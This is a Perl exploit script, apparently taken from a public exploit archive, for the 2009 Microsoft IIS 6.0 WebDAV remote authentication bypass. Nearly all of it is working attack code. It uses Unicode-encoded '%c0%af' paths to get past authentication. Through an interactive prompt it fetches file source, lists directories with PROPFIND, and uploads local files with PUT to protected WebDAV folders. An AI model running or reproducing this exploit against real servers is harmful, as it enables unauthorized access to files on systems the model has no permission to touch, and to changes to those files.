Microsoft IIS 6.0 WebDAV Bypass

`#!/usr/bin/perl -W  
#  
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit  
# written by ka0x <ka0x01[alt+64]gmail.com>  
# Advisory: http://www.milw0rm.com/exploits/8765  
#  
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!  
  
use IO::Socket ;  
  
my ( $host, $path ) = @ARGV ;  
my $port = 80 ; # webserver port  
  
&usage unless $ARGV[1] ;  
  
$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;  
$path =~ s/\/// if(substr($path, 0,1) eq '/');  
  
sub _file {  
$file = shift ;  
open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;  
while( <FILE> ){  
$cont .= $_ ;  
}  
close(FILE) ;  
return $cont ;  
}  
  
  
print "write 'help' for get help list\n";  
  
  
while( 1 ) {  
  
my $sock = IO::Socket::INET->new (PeerAddr => $host,   
PeerPort => $port,  
Proto => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ;  
print "\$> ";  
chomp( my $option = <STDIN> ) ;  
last if $option eq 'quit' ;  
  
if($option eq 'source') {  
$path =~ s/\//%c0%af\// ;   
print $sock "GET /".$path." HTTP/1.1\r\n" ;   
print $sock "Translate: f\r\n" ;  
print $sock "Host: ".$host."\r\n" ;  
print $sock "Connection: close\r\n\r\n" ;  
  
while(<$sock>){  
print $_ ;  
}  
close($sock) ;  
}  
  
  
elsif($option eq 'path') {  
$path =~ s/\//%c0%af\// ;  
print $sock "PROPFIND /".$path." HTTP/1.1\r\n" ;  
print $sock "Host: ".$host."\r\n" ;  
print $sock "Connection:close\r\n" ;  
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;  
print $sock "Content-Length: 0\r\n\r\n" ;  
print $sock '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ;  
  
while(<$sock>){  
print $_ ;  
}  
close($sock) ;  
}  
  
  
elsif($option eq 'put') {  
$path =~ s/\//%c0%af\// ;  
print "[*] Insert a local file (ex: /root/file.txt): " ;  
chomp( $local = <STDIN> ) ;  
$file_l = _file( $local ) ;  
print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ;  
print $sock "Host: ".$host."\r\n" ;  
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;  
print $sock "Connection:close\r\n" ;  
print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ;  
print $sock $file_l,"\r\n" ;  
  
while(<$sock>){  
print $_ ;  
}  
close($sock) ;  
}  
  
elsif($option eq 'help') {  
print "\n\t\t- OPTIONS -\n\n\n" ;  
print "\thelp\t\tgive this help list\n" ;  
print "\tsource\t\tget file content\n" ;  
print "\tpath\t\tget directory contents\n" ;  
print "\tput\t\tput file\n" ;  
print "\tquit\t\texit exploit\n\n" ;  
}  
  
}  
  
sub usage {  
print << 'EOH' ;  
  
$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit  
$ written by ka0x <ka0x01[at]gmail.com>  
$ 25/05/2009  
  
usage:  
perl $0 <host> <path>  
  
example:  
perl $0 localhost dir/  
perl $0 localhost dir/file.txt  
  
EOH  
  
exit;  
}  
  
  
  
  
__END__  
  
`